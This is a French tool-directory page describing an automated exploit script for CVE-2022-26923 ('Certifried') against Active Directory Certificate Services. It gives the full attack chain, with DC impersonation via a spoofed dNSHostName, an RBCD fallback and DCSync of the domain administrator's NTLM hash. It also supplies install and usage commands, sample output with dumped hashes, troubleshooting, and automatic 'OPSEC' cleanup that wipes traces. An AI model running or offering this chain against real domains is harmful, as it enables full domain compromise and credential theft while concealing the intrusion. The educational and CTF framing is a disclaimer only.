Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/nefhara/cve-2022-26923
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationPost-ExploitationCTFTests d'IntrusionAuthentificationApprentissage et ÉducationLabs et Pratique
GitHubnefhara/cve-2022-26923

CVE-2022-26923

Exploitation automatisée de CVE-2022-26923 (Certifried)

Voir le dépôt
2il y a 3 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-26923 – Certifried Exploit (Abus AD CS)

Exploitation automatisée de CVE-2022-26923 (Certifried), permettant une élévation de privilèges via l'abus des services de certificats Active Directory (AD CS), avec un repli automatique vers la délégation contrainte basée sur les ressources (RBCD), aboutissant à l'extraction du hash NTLM d'un compte administrateur de domaine.

⚠️ À des fins éducatives uniquement / Lab / CTF

Ne pas utiliser dans des environnements non autorisés.


🎯 Description

Ce script automatise la chaîne d'attaque suivante :

Méthode 1 — Classique (exploitation directe de la CVE)

  1. Créer un compte machine contrôlé (nom aléatoire pour éviter les conflits)
  2. Usurper l'attribut dNSHostName pour qu'il corresponde au contrôleur de domaine
  3. Demander un certificat machine via AD CS
  4. S'authentifier avec le certificat → extraire le hash NTLM du DC via PKINIT
  5. Effectuer une attaque DCSync avec secretsdump.py en utilisant le hash du DC

Méthode 2 — Repli (RBCD)

(automatique si la méthode 1 échoue)
  1. Convertir le PFX en PEM pour l'utiliser avec bloodyAD
  2. Configurer la délégation contrainte basée sur les ressources (RBCD) sur le DC
  3. Ajouter un SPN au compte machine compromis via impacket-addspn
  4. Demander un ticket S4U2Self + S4U2Proxy avec getST.py
  5. Extraire le hash NTLM via secretsdump.py en utilisant le ticket Kerberos

🔗 Vulnérabilité

  • CVE-2022-26923 – « Certifried » — CVSS 8.8 (Élevé)
  • Affecte les environnements Active Directory exécutant AD CS
  • Permet à un utilisateur à faibles privilèges d'usurper un contrôleur de domaine en manipulant l'attribut dNSHostName, ce qui amène l'AC à délivrer un certificat pour le compte du DC

🛠 Outils utilisés

OutilRôle
certipy-adCréation/mise à jour de compte, demande de certificat, authentification PKINIT
bloodyADManipulation des attributs RBCD (repli)
impacket-addspnAjout de SPN sur le compte machine (repli)
impacket-getSTDemande de ticket S4U2Self + S4U2Proxy (repli)
impacket-secretsdumpDCSync / extraction de hash NTLM
opensslConversion PFX → PEM (repli)

📦 Installation des dépendances

root@kitploit:~
pipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl

🚀 Utilisation

root@kitploit:~
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]

Options disponibles

root@kitploit:~
-d, --dc-ip     IP address of the Domain Controller
-D, --domain    Domain name (e.g. corp.local)
-u, --user      Valid domain user (UPN format: user@domain)
-p, --pass      User password
--verbose       Debug mode: display all executed commands
-h, --help      Show this help message

🧠 Exemple (HTB Certifried)

root@kitploit:~
./CVE-2022-26923.sh \
  -d 10.129.227.189 \
  -D certifried.htb \
  -u [email protected] \
  -p 'Ch4ng3m3!' \
  --verbose

Astuce : Avant l'exécution, identifiez le nom exact de l'AC et le modèle à l'aide de :

root@kitploit:~
certipy-ad find -u 'user@domain' -p 'Password' -target dc.domain -ns <DC_IP> -stdout

Mettez ensuite à jour CA_NAME et TEMPLATE dans les valeurs par défaut du script en conséquence.


🔥 Sortie attendue

Selon l'environnement, l'une des deux voies aboutira :

Méthode 1 (Classique) :

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [SUCCESS]
[+] NTLM Hash of the Domain Controller recovered: aad3b435b51404eeaad3b435b51404ee:6f9d...

[6] DCSync of administrator via secretsdump...
administrator:500:aad3b435...:<nthash>:::

Méthode 2 (Repli RBCD) :

root@kitploit:~
[5] Classic authentication attempt (Recovering DC hash)...    [FAILED]
[*] Switching to Fallback method (RBCD + SPN)...

[Fallback-5] Running secretsdump via RBCD ticket...
administrator:500:aad3b435...:<nthash>:::

Le nettoyage OPSEC s'exécute automatiquement à la fin (ou sur Ctrl+C) :

root@kitploit:~
[*] Starting trace cleanup (OPSEC)...
    [OK] Cleanup complete.

🏗 Flux d'attaque interne

root@kitploit:~
Random Machine Account Creation (e.g. PWN8472$)
              ↓
    dNSHostName Spoofing → dc.domain.local
              ↓
  Dynamic LDAP Sync Verification (polling)
              ↓
  Certificate Request via RPC (Machine Template)
    [NETBIOS timeout auto-retry up to 5x]
              ↓
┌─────────────────────────────────────────┐
│         METHOD 1 — CLASSIC              │
│   certipy-ad auth -pfx dc.pfx           │
│   → DC NTLM hash via PKINIT             │
│   → DCSync via secretsdump              │
└────────────────┬────────────────────────┘
                 │ [FAILS]
                 ▼
┌─────────────────────────────────────────┐
│         METHOD 2 — RBCD FALLBACK        │
│   PFX → PEM conversion (openssl)        │
│   bloodyAD: add rbcd dc$ COMP$          │
│   impacket-addspn: SPN on COMP$         │
│   getST: S4U2Self + S4U2Proxy (cifs/)   │
│   secretsdump via KRB5 ticket           │
└─────────────────────────────────────────┘
              ↓
 OPSEC Cleanup (trap EXIT/INT/TERM)
   - Remove RBCD attribute on DC
   - Delete machine account (COMP$)
   - Wipe local PFX / PEM / ccache files

🔧 Problèmes connus et dépannage

SymptômeCauseSolution
NETBIOS connection timed outLatence RPC d'AD CS sur HTBGéré automatiquement (5 nouvelles tentatives)
KDC_ERR_BADOPTION lors de getSTSPN manquant sur COMP$Le script utilise désormais impacket-addspn avant getST
KDC_ERR_WRONG_REALM lors de secretsdumpSPN incorrect (LDAP vs cifs)Le script utilise le SPN cifs/ pour getST
Clock skew too greatDérive temporelle KerberosExécutez sudo ntpdate <DC_IP> avant de lancer le script
La suppression du compte machine échoueDroits AD insuffisants (normal)Le script l'ignore sans erreur avec `
unrecognized arguments avec certipy-adSyntaxe incorrecte (ancien format certipy)Le script utilise les options explicites -u/-p/-target-ip

⚠️ Avertissement

Ce projet est fourni pour :

  • Des fins éducatives et de recherche
  • Des environnements de laboratoire personnels
  • Des défis CTF / HackTheBox / Capture-The-Flag
  • Des missions de test d'intrusion autorisées (avec approbation écrite)

L'auteur décline toute responsabilité en cas d'utilisation non autorisée ou illégale de cet outil.

Télécharger l’outil